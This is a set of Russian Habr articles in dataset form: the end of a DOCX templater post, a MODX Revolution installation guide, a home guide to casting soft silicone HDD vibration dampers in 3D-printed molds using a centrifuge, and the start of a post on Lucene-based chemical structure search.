new_pathname = new_pathname[:-5] + '-copy.docx'
pathname = new_pathname
try:
document.save(pathname)
self.tlog.AppendText('Saved to %s\n' % pathname)
except IOError:
self.tlog.AppendText('Cannot save to file %s\n' % pathname)
```
Шаблонизатор готов! Для того, чтобы запускать его как любое другое приложение, можно применить удобный инструмент [pyinstaller](https://pyinstaller.org/en/stable/), он позволяет создавать готовое приложение для целевой операционки, упаковать внутрь директорию resources и подложить иконку:
```
$ pyinstaller -w docengine_templater.py --name="Docengine Templater" --add-data resources:resources -i docengine.icns
```
Тестим!
-------
Для теста шаблонизатора создадим простой DOCX-файл, использующий все теги, которые мы ранее добавляли в `config.json`:
Окно шаблонизатора после загрузки шаблона и распознавания трех изображений:
Сохраненный документ:
На этом, пожалуй все! Код шаблонизатора (и модифицированного семпл-приложения `docengine_cli.cpp`) вы можете посмотреть [здесь](https://github.com/SmartEngines/docengine_templater).
Если вам интересен продукт Smart Document Engine, вы можете узнать про него больше на [сайте нашей компании](https://smartengines.ru/), или обратиться там же к нашим специалистам за подробностями.
Спасибо за внимание! | https://habr.com/ru/post/672896/ | null | ru | null |
# Быстрый старт в MODX Revolution
Revolution дорос уже до версии 2.0.8, но большинство разработчиков не спешит его использовать, так как документация еще не полная, да и статей на русском очень мало.
Лично я не нашел ни одной пошаговой инструкции «для чайников», и поэтому решил написать ее сам.
Конечно, это топик для не «совсем чайников», а для людей, которые хоть немного знакомы с Evolution и при переходе на Revolution обломались от всего непривычного, как я. Никаких секретов и ловких методик тут не будет. Обычный how-to с картинками (их довольно много).
#### Установка
Лично я для нового сайта создаю новый аккаунт на %Мойлюбимыйхостер%. У него есть по умолчанию доступ в ssh, чем я и пользуюсь.
Итак, заходим на сервер, в директорию сайта (public\_html или как-то так) и в консоли набираем
`wget modx.com/download/direct/modx-2.0.8-pl.zip
unzip ./modx-2.0.8-pl.zip
mv ./modx-2.0.8-pl/* ./
rm -rf ./modx-2.0.8-pl
mv ./ht.access ./.htaccess`
Так мы качаем последний на сегодня релиз Revolution, распаковываем его и перемещаем сразу в корень сайта.
Также нужно активировать htaccess для использования дружественных url.
Если вам проще это проделать через панель управления хостера — на здоровье.
MODX распакован, нужно создать ему БД. Это делается из админки хостера. Создаем еще пользователя и назначаем ему полные права на базу и пароль покруче. У %Мойлюбимыйхостер% это все делается в 6 кликов мышью.
Правда, я потом еще залезаю через phpmyadmin и вручную ставлю тип БД в utf-8, так как по умолчанию там cp1251. utf-8 очень хорошая штука, настоятельно рекомендую использовать ее.
Теперь можно устанавливать MODX. Заходим по адресу %sitename%/setup (да-да, не /install!)
Если у вас PHP 5.3 и вылезает ошибка 503, то скорее всего вам нужно прописать в .htaccess свой [часовой пояс](http://www.php.net/manual/en/timezones.php), например:
`php_value date.timezone "Asia/Novosibirsk"`
Кликаем по кнопочкам.
Вводим данные для подключения к БД
Проверка окружения
Установка окончена + удаление файлов установки в целях безопасности
Можно входить в панель управления с заданным ранее логином и паролем.
Поздравляю, MODX установлен!
#### Установка пакетов
По умолчанию Revolution поставляется абсолютно голый. То есть, нет ни одного чанка, плагина или сниппета. Зато, есть система репозиториев. Поэтому, первым делом мы ставим нужные пакеты.
Заходим в меню Система->управление пакета
Обязательно ставим:
[Wayfinder](http://rtfm.modx.com/display/ADDON/Wayfinder) — генерация меню.
[getResources](http://rtfm.modx.com/display/ADDON/getResources) — замена Ditto, работа с ресурсами.
CodeMirror — редактор с подсветкой синтаксиса.
Еще очень рекомендую поставить
TinyMCE — WYSIWYG редактор для самых маленьких. Пригодится, если вы плохо помните html.
phpThumbOf — ресайз картинок при выводе на экран. Работает как фильтр PHx.
Breadcrumbs — цепочка меню, для вывода навигации типа «Главная->раздел->подраздел».
translit — автоматическая транслитерация псевдонимов ресурсов для дружественных url.
Вот еще [таблица соответствия сниппетов](http://rtfm.modx.com/display/revolution21/Upgrading+from+MODx+Evolution) Evo и Revo.
Обратите внимания, что после загрузки пакетов их нужно еще и установить.
А после установки, желательно еще поставить обновления на пакеты, если есть.
#### Настройка рабочего пространства
Тыкаем Система->Настройка системы
Настройка системы довольно таки отличается от Evo внешним видом, но суть — та же. Находим нужный параметр и меняем.
Есть фильтр по категорям + поиск по имени. Также, отдельно настраиваются движок (core) и сниппеты.
Хочется отметить, что теперь возможно самостоятельно создавать системные параметры, чтобы к ним обращаться из своих сниппетов и плагинов.
Настройки вступают в силу сразу же, кнопочки «сохранить» нет.
Нам нужно задать имя сайта и дружественные url.
Для того, чтобы автоматом генерировался псевдоним дружественного url в зависимости от pagetitle, мы уже поставили пакет translit — аналог transalias из Evo. Теперь настройте у себя все как показано на скриншоте.
Сходным образом меняются и все остальные настройки.
#### Почти все
В принципе, типовая установка и настройка закончена. Можно создавать ресурсы, рисовать шаблоны и радовать домочадцев довольным урчанием. Revolution оказался не так уж и страшен.
В заключение, несколько моментов:
##### Разница в тегах
[Табличка соответствия тэгов Evo и Revo](http://rtfm.modx.com/display/revolution21/Tag+Syntax)
Теперь все тэги заключаются в скобки [[]]:
`[[*templatevar]]
[[$chunk]]
[[snippet]]
[[+placeholder]]
[[~link]]
[[++system_setting]]`
Кэшируются и чанки и сниппеты, и даже, наверное, плейсхолдеры. Чтобы вызвать их без кэша — добавляем как раньше восклицательный знак.
`[[!$chunk]]
[[!snippet]]`
##### Встроенный PHx
Свершилось то, о чем все знающие мечтали! Теперь PHx встроен в ядро и его можно использовать везде!
Для тех, кто не в курсе, что это — [викиучебник](http://ru.wikibooks.org/wiki/MODx/%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D0%B5%D0%BC%D1%8B%D0%B5_%D0%BF%D0%BB%D0%B0%D0%B3%D0%B8%D0%BD%D1%8B/PHx). Он написан для Evolution, но в целом — все то же.
Отличия от Evo:
Вызывается на любой плейсхолдер или параметр вот так:
`[[*templatevar:filter=``]]
[[+placeholder:filter=``]]`
Фильтром может выступать ЛЮБОЙ сниппет, который принимает параметры $output и $options и выдает результат с помощью echo.
Простейший пример использования:
`[[*longtitle:is=``:then=`Расширенный заголовок отсутствует`:else=`Заголовок: [[*longtitle]]`]]`
##### Обработка TVs
При создании TV можно указать тип вывода.
Пример:
Создаете TV с именем img, указываете для него тип вывода image, заполняете дефолтные параметры и при выводе на страницу как [[\*img]] у вас и будет выводиться картинка! То есть прям с тэгами img title и т.д., что указали. А если выставить тип вывода текст — выведется только путь к изображению, как раньше.
Эту фишку, кстати, понимает и getResources.
##### Сниппет [getResources](http://rtfm.modx.com/display/ADDON/getResources)
Этот сниппет — основной инструмент для работы с ресурсами. Он пришел на смену Ditto2 (Ditto3 для Revo тоже есть, но он бета, и обновляться больше не будет).
Сниппет имеет несколько отличий от Ditto.
1. Он не включает по умолчанию обработку TV. Нужно **&includeTVs=`1`**, чтобы сразу обрабатывать TVs нужно **&processTVs=`1`**
2. Не включает по умолчанию вывод контента! Юзать **&includeContent=`1`**.
3. Лимит на вывод ресурсов по умолчанию — 5. Я сначала тупил, почему выводит всего 5 документов из любого контейнера, так как Ditto выводил все.
4. Нет дефолтного шаблона, если вызываете getResources без **&tpl=``**, он выведет список ресурсов со всеми свойствами в виде массива — очень удобно, кстати.
5. Параметра startID нет, есть parents, работает как тот же параметр у Ditto.
##### Дерево ресурсов
Ресурсы, как и раньше можно раскидывать по категориям, но теперь, категории вкладываются друг в друга и можно рассортировать все свои сниппеты и чанки как угодно. Да, теперь они еще и мышкой перетаскиваются и создаются по правой кнопке, без перезагрузки страницы, если нужно.
Вообще, если привыкнуть к новому дереву ресурсов, возвращаться в Evolution просто не хочется. Очень удобно, очень.
#### Заключение
Надеюсь, эта статья хоть немного поможет вам в освоении MODX Revolution. Буду рад отвечать на вопросы в комментариях и обновлять топик, по мере надобности.
Основную информацию по Revolution [можно найти тут](http://rtfm.modx.com/display/revolution20/Home) (англ.). | https://habr.com/ru/post/116614/ | null | ru | null |
# Прецизионное литьё мягким силиконом в домашних условиях, с помощью 3D-печати
Одни люди страдают от фетишизма, но другие им наслаждаются, как православные фермеры на пасху — похмельем. А почему нет? «С утра выпил — день свободен», — гласит известная поговорка. Вот и автор относится ко второму типу, наслаждаясь инженерным фетишизмом по полной программе. Но во всём нужны мера и здравый смысл.
Данная статья про то, каких успехов можно добиться при использовании «непечатных» материалов, на старенькой «Пруше», без всяких выкрутасов и специальных экструдеров. В качестве *use case* автор задвинулся на многодисковой системе и решил максимально увеличить плотность установки «шпинделей» с одновременным уменьшением вибраций. В борьбе за миллиметры понадобилась пара дюжин абсолютно одинаковых мелких деталей с допусками 100мкм из очень мягкого и «тянучего» материала. Впрочем, если уважаемый читатель уже забыл про HDD, как про страшный сон, вообще абстрагируйтесь от use case и обратите внимание на нюансы литья, там тоже бывает нескучно.
По мнению автора, потребительские виброгасящие решения имеют скорее психологический эффект, чем метрологический. Почему? Наверное, из-за тугой резины, передающей большую часть энергии пульсаций на корпус. Поэтому для автора было очень важно измерить результаты описанного здесь технологического процесса хоть и любительскими, но объективными средствами. Чудес не произошло, но где-то треть отыграть удалось.
Что касается силикона, его часто ассоциируют с материалом самих форм для отливки, а не отливаемым изделием. Литьё в формы вообще — дело довольно ~~нудное~~ занимательное, но автор в любом случае разбавляет историю инженерным трэшем для развлечения публики.
#### DISCLAIMER
Этой истории уже год, я мог отстать от реалий. Если кто-то из уважаемых читателей освоил *прецизионную* 3D-печать очень мягким материалом, милости прошу, делитесь. Наиболее интересные идеи могут воплотиться в виде врезок в статье, и, если вы читаете эту статью за пределами Geektimes, проверьте через пару недель [аутентичную ссылку](https://geektimes.ru/post/286056/), где будут доступны все обновления и комментарии резидентов клуба. Если же ссылка не открывается, вероятно, не стоит и читать дальше;)
#### Постановка задачи
Чтобы достичь максимальной плотности размещения «шпинделей», конструкция салазки должна гарантированно удержать вибрирующий корпус диска на чём-то совсем мягком, но строго в миллиметре от твёрдого препятствия. При этом общие зазоры между дисками и стенками корзины всего порядка 4мм, и никто не отменял сами салазки, которые должны *ездить* строго по направляющим, а не стекать по ним в виде желе.
#### Традиционные подходы
Несмотря на хрестоматийность человеческого тела, появившиеся в разное время [тут](https://geektimes.ru/company/top3dshop/blog/251780/) и [там](https://geektimes.ru/company/cvetmir3d/blog/285972/) статьи о мягких материалах как-то черезчур акцентируются на отдельных его частях. Если взять разрекламированный в 2014г. [экструдер Discov3ry](http://3dtoday.ru/industry/ekstruder-discov3ry-pozvolit-vam-pechatat-silikonom-sakharnoy-galzuryu-i-glinoy.html), то, во-первых, у меня нет данных по мягкости силикона (помогайте). А во-вторых, результат «печати» вызывает лично у меня ассоциации с тюбиком зубной пасты, который художественно выдавили на кусок мыла. Да, такой точности должно хватить на воспроизведение мужского достоинства в масштабе 1:1, но у меня другая задача.
#### Проблематика: вибрации жёстких дисков
Раз заговорили о мужских достоинствах, перейдём к вибрациям:) Хорошо, когда единственное тело вращается со скоростью 5..7 тысяч оборотов в минуту, тогда вибрация ровная, незаметная. Но если дисков несколько, их высокие обороты слегка «гуляют» друг относительно друга, и появляется *низкочастотная модуляция с периодом в одну-две секунды*. Добавляем к этому оркестру вентилятор на корзине и получаем противный плавающий гул, на котором сразу же зацикливается наш слуховой аппарат. Чем быстрее вентилятор, тем агрессивнее нота.
**Корзина 3x3.5'' из двух 5.25''**
На фото каркас 3-дисковой корзины [Evercool HD-AR](http://www.evercool.com.tw/products/hd-ar.htm). Предусмотрен вентилятор 80мм. Четыре демпфера на этой корзине работают уже после интерференции (сложения) вибраций от дисков, поэтому на НЧ-модуляцию не влияют. Если честно, не представляю, на что вообще можно повлиять такой тугой резиной.
**Корзина 5x3.5'' из трёх 5.25''** 
**Слева:** 5-дисковая корзина [noname](https://www.aliexpress.com/store/product/Plastic-Steel-5-Bay-Hard-Disk-Carrying-Box-For-3-5-SATA-SAS-IDE-HDD-Protect/710969_2046084175.html), на фото лежит на боку. Даёт максимальную из возможных плотность размещения накопителей 3.5", используя стандартные отсеки 5.25" в обычных корпусах «башенного» типа, с зазорами порядка 4мм с каждой стороны. Производитель не выпендривается, предлагая жёсткие пластиковые салазки, чуть-чуть подпружиненные с боков. Предусмотрен вентилятор 120мм.
**Справа:** «пустые» салазки, напечатанные из ABS. Ничего особенного, кроме гексагональных отверстий для вставки демпферов различной формы.
Если добавить десяток-другой дисков, к росту акустических шумов «вентиляторной» группы добавляется ещё и ощутимая паразитная вибрация, влияющая как на здоровье самих дисков, так и на комфорт окружающих людей. Производители дисков «для NAS» уже [обратили](https://www.seagate.com/files/www-content/product-content/nas-fam/nas-hdd/en-us/docs/nas-drive-selection-guide-marketing-bulletin-mb632-1-1305us.pdf) внимание на эту проблему, борясь как с источниками, так и с последствиями вибраций. По крайней мере, на бумаге, ибо в первую очередь производителей волнует объём, а разбрасываться драгоценными миллиметрами радиуса всё-таки дороже, чем вкладываться в маркетинг. Но даже в брошюре речь идёт о 5-дисковых системах.
Корпус компьютера работает как сложный резонатор, подавляя одни частоты и усиливая другие. Поэтому результирующий спектр шумов системы довольно непредсказуем по своему профилю, но одинаково неприятен, и чем больше дисков, тем хуже для всех.
Вот я и решил, что проблему надо *купировать* в зародыше, создав виброгасящие салазки, но не кондовые из твёрдой резины, а сочетающими жёсткий пластик с очень мягкими, «тянучими» силиконовыми вставками с жёсткостью 25А по Шору. Кстати, самый мягкий термопластичный эластомер для 3D-печати имеет жёсткость по Шору порядка 85А, это так же далеко от силикона, как борцовский мат от пуховой подушки.
> **UPD:** осторожно, отдача
>
> Однако не стоит слишком увлекаться мягким «подвесом». Пользователь [MrRIP](https://geektimes.ru/users/mrrip/) [обратил внимание](https://geektimes.ru/post/286056/#comment_9919330) на тот факт, что прецизионная (в полном смысле этого слова) механика шпиндельного диска не сильно жалует висящий режим из-за отдачи, которая возникает при позиционировании блока головок: попробуйте сами перепрыгнуть из одной лодки в другую. Но, забегая вперёд, скажу: в худшем случае силиконовые вставки добавляют порядка 2% к времени позиционирования головок от края до края, при соседнем перемещении эффект измерить практически не удаётся. Т.е. отдача имеется, но в случае с силиконовыми демпферами она не идёт ни в какое сравнение с подвесом на верёвках, подтяжках или резинках от трусов.
#### Ещё раз о силиконе
Силикон — удивительный материал в плане физико-химических свойств. Например, его двухкомпонентная версия с катализатором на олове или платине до ~~вулканизации~~ полимеризации (застывания) и по вязкости, и по липкости напоминает свежий мёд. Зато после застывания силикон очень инертен и не имеет адгезии почти ни с чем. Изделия из «платинового» силикона можно совершенно спокойно использовать на кухне, да и в медицине наверняка тоже. Эта беспредельная химическая инертность силикона порой раздражает: чтобы приклеить силиконовую деталь, её сперва надо покрыть специальной грунтовкой, обычный клей силиконы не берёт.
Используемый двухкомпонентный силикон дозируется в соотношении 10:1 с катализатором по массе. Плотности обеих жидкостей близки к единице, поэтому дозировать в нужном соотношении можно и по объёму. Тянуть «мёд» обычным шприцем неудобно, а вот безносым дозатором от жаропонижающего препарата *Нувонахрен* — в самый раз. Застывание занимает несколько часов, так что смешивать силикон с катализатором можно, не спеша, в небольшой чашке, лучше с круглым дном, но можно и так.
Если инструкция разрешает контакт с кожей, удобнее всего смешивать не палочкой, а собственным мизинцем: мягкие ткани хорошо собирают материал из всех закоулков посуды, ~~для здоровой кожи силикон совершенно безвреден~~ **UPD:** но работайте в перчатках, от греха подальше. До застывания материал *растворяется уайт-спиритом*, после — легко удаляется механически, но только с гладких поверхностей (не вытирайте об себя, запаситесь салфетками заранее). Чтобы оценить свойства материала, попробуйте отделить оставшийся на чашке тончайший слой после застывания, он тянется, но почти не рвётся.
Застывание [силикона с платиновым катализатором](https://www.lenkapenka.ru/silikony-dlya-form/silikony-na-platine.html) могут ингибировать (нарушать, тормозить) разные материалы, включая сернистые, латексные, некоторые каучуки и даже дерево. Но главное то, что **пластики ABS и PLA к ингибирующим застывание материалам не относятся**, а значит, можно *напечатать литейную форму* и получить *изделие из очень мягкого и инертного материала с недостижимым ранее допуском*. Вот так просто: берём и отливаем дома всё, что угодно. Или не всё?
#### Форма для отливки мелких деталей
Обычно берут, грубо говоря, ведро силикона и смешивают его миксером с бутылкой катализатора, затем разливают по формам и запускают *дегазацию*, т.е. удаляют пузыри воздуха. Но чтобы лучше понять процесс заливки силикона в «групповую» литейную форму для мелких деталей, читателю предлагается представить себе загрузку пчелиного мёда обратно в соты. Да, меня так и тянет на гексагональные формы…
Обычная форма может состоять из двух половин, напечатанных ABS и сжимаемых пятью винтами с пресс-шайбами и барашковыми гайками. Если внешняя симметрия формы отличается от внутренней, рекомендуется сделать «ключ» в виде «спиленного» угла, как на процессорном сокете. Иначе можно перепутать ориентацию половин и отлить нечто неожиданное, потратив кучу времени впустую. Соприкасающиеся грани после печати рекомендуется довести до ровного состояния шлифовкой, но не стоит их парить в ацетоне. С утра вскрываем форму и достаём свеженькие демпферы, на некоторых получается тончайший, легко удаляемый «воротник», возникающий из-за неплотного контакта и особенностей дегазации, о которой ниже.
 
#### Дело о пузырьках
«Волшебными» пузырьками можно считать те, что в напитках, гидромассажных ваннах или, на худой конец, в стиральных машинах. При отливке вредность пузырьков обратно пропорциональна габаритам детали, т.е. дегазация нужна тем сильнее, чем мельче деталь. Иначе пузырь может запросто уничтожить ключевой элемент типа несущего «хоботка» демпфера толщиной пару миллиметров и длиной пять. Именно поэтому, кстати, при размешивании мизинцем даже, простите, трёхдневный ноготь создаёт пузырьки, как весло в воде. Проверено на практике, лучше ~~остричь в ноль~~ работать в перчатках.
Продавцы силикона на мой вопрос о способе дегазации, не моргнув глазом, рекомендовали использовать *вакуумную камеру*. Но вот где её взять дома, из микроволновки выпилить? Так что давление придётся использовать нормальное атмосферное, но как тогда удалить пузыри при явной нехватке выталкивающей силы? Она, кстати, пропорциональна гравитации, однако, не лететь же на Юпитер. И тут припомнилась одна история о прототипирующих металлургах, убирающих пузыри из ещё жидкого сплава в… центрифуге. Раз даже металл подчинился в мастерской, с силиконом уж всяко справимся даже в домашних условиях.
 Простейшую центрифугу я собрал из цепи и балласта, который во время вращения ориентирует плоскость формы строго перпендикулярно радиусу, создавая однонаправленное кратное доминирование центробежной силы над всеми остальными. Если вращать похожую на [кистень](https://ru.wikipedia.org/wiki/Кистень) форму на метровой цепи в вертикальной плоскости, для преодоления гравитации придётся делать около 30 об/мин, что создаст «пульсирующее» от нуля до 2g ускорение. Это примерно как слетать с Плутона на Юпитер и обратно. Центробежная сила прямо пропорциональна длине цепи и квадрату частоты вращения, поэтому, увеличив цепь до полутора метров и поднатужившись до 60 об/мин, можно получить шестикратный выигрыш, т.е. примерно 1g..7g.
Для начала хватит, но есть нюанс. Когда пузырь вытолкнется, как долить на его место силикон, не разбирая форму? Это легко сделать, если предусмотреть заливные отверстия в верхней части, добавив к ним сверху технологические раковины с запасом материала. Пузырь всплывёт, содержимое раковины утечёт вниз. Но чтобы не разбрызгать силикон при столь энергичном вращении формы, я добавил к ней третий элемент: крышку.
> **UPD:**
>
> Сюда таки заглянули литейщики и труженики вакуума, дали мне несколько идей по вакуумной камере, заодно выписав и за «прецизионное», и за «вулканизацию силикона», и за «пресс-форму», и ещё много за что, но и дали несколько советов.
>
>
>
> ##### Усадка
>
>
>
> Некоторые материалы усаживаются после застывания, но используемый мною силикон — безусадочный, так написано в инструкции.
>
>
>
> ##### Дегазация
>
>
>
> Оборудование для дегазации (удаления неволшебных пузырьков) представляет собой вакуумную камеру с насосом, манометром и прочей арматурой. Пользователь [hungry\_ewok](https://geektimes.ru/users/hungry_ewok/) [предложил](https://geektimes.ru/post/286056/#comment_9911594) в комментариях целый монумент из деталей пластиковой канализации сечением 300мм, вариант от [dlinyj](https://geektimes.ru/users/dlinyj/) — старая скороварка. Заодно [hungry\_ewok](https://geektimes.ru/users/hungry_ewok/) и [kellakilla](https://geektimes.ru/users/kellakilla/) рекомендуют кондовый ручной насос Комовского (из кабинета физики, можно приводить электромотором), а [wormball](https://geektimes.ru/users/wormball/), [MotttoR](https://geektimes.ru/users/motttor/) и [dlinyj](https://geektimes.ru/users/dlinyj/) предлагают использовать компрессор от старого холодильника.
>
> Насосы любят уход и масло, не любят абразивы и агрессивные пары, могут выдавать лёгкую масляную аэровзвесь. Арматура подойдёт сантехническая. Нужная глубина вакуума зависит от вязкости материала, вакуумирование можно делать в два этапа: сперва сам материал в ведре до полного «выкипания», затем — залитая форма.
>
> Для мелких форм достаточно шприца на 50 «кубов»: пузырьки можно убрать прямо в шприце, зажав ему «нос». Но на проливку самой формы это не повлияет, только уберёт эффект «газировки» — [Igor\_omsk](https://geektimes.ru/users/igor_omsk/), [BigBeaver](https://geektimes.ru/users/bigbeaver/), [Wandy](https://geektimes.ru/users/wandy/).
>
> **ВНИМАНИЕ:** В зависимости от своей космической глубины, вакуум может быть травмоопасным. Как минимум, защитные очки обязательны. Сомневаетесь — покупайте камеру для дегазации в магазине, там есть инструкция по безопасности. Будет, с кого спрашивать.
>
>
>
> ##### Форма
>
>
>
> Ясное дело, что при серийном производстве очень важно оптимизировать литейную форму так, чтобы её не надо было ни крутить в центрифуге, ни трясти на вибростоле. В этом и есть настоящая, профессиональная инженерия. Однако у меня акцент на любительском подходе, для одного прототипа можно и центрифугу снарядить, она просто уберёт некоторые ошибки в форме методом грубой силы. И, кстати, «для центрифугирования имеет смысл делать круглую многоместную форму с литниками от центра». Благодарю [vbifkol](https://geektimes.ru/users/vbifkol/), [rfvnhy](https://geektimes.ru/users/rfvnhy/), [BigBeaver](https://geektimes.ru/users/bigbeaver/).
 Ясное дело, ускорения в 7g мне показалось мало, поэтому версия 2.0 центрифуги использует малую механизацию в виде зажатой в стойке дрели с коромыслом в патроне. На 400 об/мин плечи с формой и грузиком отклоняются перпендикулярно оси вращения, описывая радиус 10см и давая почти «солнечные» 18g, выгоняющие пузыри даже из очень густого мёда.
Если деталей нужно отлить много, хорошо иметь две одинаковых по массе формы, и для дрели это будет не так вредно. Но я брал свою одну-единственной форму и снова посещал магазин крепежа, на этот раз взвешивая на глазах у озадаченных продавцов белый кусок пластика с винтами и «барашками». В итоге даже удалось задействовать грузики, совместимые с версией 1.0. Но читатель может поступить проще, отправившись в продуктовый магазин и выбрав любой твёрдоплодный овощ или фрукт подходящей массы, например, репу или кислое яблоко. Морковь неудобно зажимать болтом, но нет ничего невозможного. Впрочем, см. ниже про технику безопасности, прихватите в супермаркет и форму с крепежом, это проще и законнее, чем тащить весы домой из магазина.
#### Техника безопасности
 Если печатать и монтировать крышку для формы лень, подумайте о том, как забрызгаете окружающую среду безвредными, но липкими каплями. Если форма маленькая, можно воспользоваться салатником соответсвующего размера, опуская в него форму прямо на стойке, тогда отдирать придётся только салатник, но лучше после застывания. Но всё-таки крышка как-то технологичнее. Я попробовал и так, и эдак.
> **UPD:**
>
>
>
> Внимательно изучайте документацию по безопасности, выданную отраслевым регулятором.
>
> Даю найденные выдержки ToolDecor 15A для профессионального применения.
>
>
> > **Краткая словесная характеристика**
> >
> > Малоопасная по воздействию на организм трудногорючая смесь.
> >
> > **8.2.1 Ограничение и контроль экспозиции на рабочем месте**
> >
> > **Общие защитно-гигиенические мероприятия:**
> >
> > При работе не принимать пищу, не пить и не курить. После работы и перед едой мыть руки.
> >
> > **Индивидуальные средства противохимической защиты:**
> >
> > **Защита органов дыхания**
> >
> > Не требуется
> >
> > **Защита рук**
> >
> > Рекомендация: Защитные перчатки из бутилкаучука, защитные перчатки с неопреновым слоем, защитные перчатки из ПВХ. Перчатки пригодны для применения до 60 мин. Выбор подходящих перчаток определяется не только материалом, но и другими качественными признаками, которые существенно различаются у разных производителей. При выборе перчаток учитывайте данные проницаемости и времени разрыва, указанные производителем.
> >
> > **Защита глаз**
> >
> > Защитные очки
>
>
Не стоит забывать о физической безопасности близких людей и окружающих предметов во время вращения грузов, своя голова и другие части тела вообще бесценны. При использовании цепи 1.0 лучше надеть на голову шлем, удалившись в помещение без окон и зеркал. Окружающих можно предупредить, но вид человека в шлеме с кистенём распугает и так. При использовании механизированной центрифуги 2.0 ни в коем случае не стоит удерживать в руках дрель с несбалансированной принадлежностью, не имея хватку Терминатора. Вообще, дисбаланс и для дрели не полезен, поэтому уравновешивать надо, хотя бы приблизительно. Я прочно крепил дрель в стойке, ~~стойку крепил к столу струбцинами,~~ а во время запусков прятался за экраном из плиты ДСП 16мм, держа собственные чресла поближе к… тискам, в которых зажата эта самая плита. А не то, что подумали некоторые читатели: тиски насквозь не пробить, за ними самое безопасное место.
Если уважаемый читатель когда-нибудь менял патрон на дрели, то наверняка обращал внимание на болт с левой резьбой. К счастью, я вовремя вспомнил про данную особенность, и самопроизвольное отделение вращающегося коромысла удалось предотвратить. К тому моменту болт с правой резьбой от «прямого» хода дрели уже достаточно ослаб, чтобы центрифуга начала подозрительно игнорировать команды увеличения оборотов. Экран не пригодился, но, случись чего, был бы очень к месту. Если зажимаете в патроне болт с правой резьбой и крепите на нём что-либо гайкой, реверсный режим дрели обязателен, иначе гайка отвернётся, груз сорвётся и улетит куда-нибудь. Берегите *болты*, дорогие друзья;)
#### Сопромат
Подкованный инженер, конечно, возьмёт профессиональную САПР и по жёсткости материала смоделирует оптимальную для заданного «прогибания» форму. Настоящий ниндзя просто вспомнит *сопромат* и посчитает всё на листке бумажки. Однако частью условий эксперимента было использование бесплатного софта, практическим сопроматом я не владею. Поэтому конкретный вид демпферов пришлось подбирать экспериментально, напечатав пробную форму демпферов разной формы. Затем они поочерёдно крепились на салазке (на этой фазе обошлось без клея, шестигранники отлично себя зарекомендовали). На зажатую в тисках демпферами кверху салазку аккуратно «надевался» дисковый накопитель, придерживаемый пальцами, после чего изучалась реакция на *статическую* массу. Другими словами, я решил задачку по сопромату методом *прямого физического моделирования*, простите за невежество, дорогие читатели.
**Как это было**
Опытным путём были выбраны те демпферы, что после прогибания оставили один миллиметр запаса до твёрдого пластика. Затем форма корректировалась и печаталась заново. Отлив, наконец, первую партию демпферов, я закрепил их в напечатанных салазках, используя… «моментальный» цианоакрилатный клей. Он, конечно, плохо подходит для гибкого силикона и не очень-то любит нагрев, но специальной грунтовки под рукой не было, ЦА держит хоть как-то.
#### Измерение эффективности
DISCLAIMER: автор отдаёт себе отчёт в том, что измерял не вибрации корзины, а вибрации кое-как закреплённого на ней смартфона, с ограничениями акселерометра и частичной потерей энергии пульсаций. Во время эксперимента ни одного смартфона не пострадало: носишь аппарат пару лет без всяких проблем, но стоит отдать его «во временное пользование», экран разбивают за неделю гарантированно…
Итак, смартфон выбирался по массе: не новый с экраном лопатой, а лёгкий старенький Samsung S3 Mini, чтобы не глушить колебания. Крышка снималась, чтобы не пружинила. Изрядная возня была с закреплением аппарата на 5-дисковой корзине с помощью алюминиевых полос и пачки резинок для банкнот. Из приложений я остановился на [VibSensor](https://play.google.com/store/apps/details?id=com.nowinstruments.vibsensor): раскладка по осям, регулируемый период осреднения, графический спектр, сохранение результатов — всё, что надо для таких экспериментов. Работать с экраном, зажатым пластиной — отдельное искусство.
Но возникла метрологическая проблема: даже осреднённые на нескольких минутах результаты виброметра гуляли просто неприлично по непонятным причинам. Как вам такой ряд: 36, 35, 31, 28; или, например, 51, 42, 68, 61. Другой бы плюнул и посчитал по *какому-нибудь* среднему, но я вспомнил про наличие термокалибровки в дисках, которая происходит в самый неожиданный момент, по звуку напоминая интенсивную работу головками. И когда c помощью `smartctl` удалось заставить всех пятерых участников эксперимента одновременно проходить бесконечный тест поверхности, получились уже 25, 25, 26, 25, 28, 27 или 18, 18, 17, 17, 19, 17, 19. Это достаточно кучно, чтобы можно было хоть о чём-то говорить.
Не буду приводить таблицы, только безразмерные результаты по достаточно пёстрой компании из моделей 5-летней, 10-летней давности и современников. Примем, что диски не расслабляются лёжа плашмя, но трудятся в стойке «на боку», осью вращения шпинделя параллельно горизонту. Каждый такой диск при работе подпрыгивает вверх-вниз и ёрзает взад-вперёд от вращений блинов, а также болтается влево-вправо от перемещения блока головок внутри. При использовании виброгасящих демпферов закреплённый смартфон массой 110г получает в два раза меньше энергии от подпрыгиваний по сравнению с жёсткими салазками, а от ёрзаний и болтаний достаётся ещё меньше примерно по 20%. Почему? Потому что гравитация создаёт более прочный канал передачи энергии пульсаций между телами. Другими словами, при прочих равных выигрыш от коврика на полу получается больше, чем от мягких стен.
Много это или мало? Тактильно на одной лишь корзине этого не понять, но стоит корзину установить в корпус, субъективно разница уже ощущается даже на 5 дисках. Однако я хочу напомнить, что основная моя цель — демонстрация технологического процесса, да и 5 дисками я ограничиваться не собирался;)
#### Выводы
* «Напечатать» непечатаемое — отличная гимнастика для инженерной смекалки.
* Эффективность виброгасящих решений должна подтверждаться объективными измерениями, а не базироваться только на субъективных оценках «хуже/лучше».
* Для дегазации вместо вакуумной камеры можно использовать центрифугу, «проливающую» мелкие и сложные элементы деталей.
* Описанный технологический процесс весьма доступен и применим не только к сочетанию силикона и ABS-пластика.
* Ограничивающим фактором, помимо трудоёмкости, являются габариты печати.
* Сочетание инертности силикона и точности 3D-принтера открывает новые ниши в таких областях, как телемедицина и прототипирование сложных изделий. | https://habr.com/ru/post/370191/ | null | ru | null |
# Организуем поиск молекулярных структур с помощью Lucene и Chemistry Development Kit
Библиотека полнотекстового поиска Lucene предоставляет возможность организовать поиск по текстовым документам. Существуют так же средства, с помощью которых можно организовать поиск «похожих» химических структур, например, OpenBabel. Иногда может возникнуть потребность объединить эти два вида поиска в единой «канве». Например, если нужно создать систему, которая может отвечать на такие запросы: найти вещество, в текстовом описании которого есть слово «аминокислота», структурно похожее на индол (ожидается, что мы найдём аминокислоту триптофан). В этой статье описано решение данной задачи на основе полнотекстового движка Lucene.
Как известно, в основе полнотекстового поиска лежит построение инвертированного индекса. Текст документов разбивается на отдельные слова, для каждого из которых строится список документов, в которых встречается слово. Обычно кроме списка документов для данного слова, индекс содержит позиции слова в каждом документе.
